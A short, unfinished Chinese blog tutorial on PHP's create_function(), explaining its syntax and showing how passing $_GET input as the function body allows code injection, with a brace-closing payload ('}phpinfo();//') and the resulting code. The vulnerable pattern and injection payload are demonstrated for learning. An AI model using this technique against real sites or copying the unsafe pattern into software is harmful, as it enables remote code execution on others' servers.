1.介绍一下php中create_function()函数。
string create_function( string $args , string $code)
string $args是变量部分
string $code是方法代码部分,就是要执行的语句
举个例子:
create_function('$firstname','echo $firstname."Liu"');
以上代码就类似于:
function fT($firstname){ echo $firstname."Liu"; }
2.create_function()如何实现注入?
比如源码中出现了以下语句:
create_function('$wuhu',$_GET[arg]);
传参的时候可以这么传:?arg=}phpinfo();//
执行情况:(这是代码部分是自定义的情况)
function wuhu(){ }phpinfo(); }
这是代码执行部分是echo的情况:执行函数为:
源代码: function fT($arg){ echo "aaa".$arg; } 注入后代码: function fT($arg){ echo "aaa";} phpinfo();// }
思考:闭合的时候要根据代码部分进行闭合。
未完待续
标签:function,string,firstname,create,echo,arg,注入 From: https://www.cnblogs.com/hackerone/p/17180695.html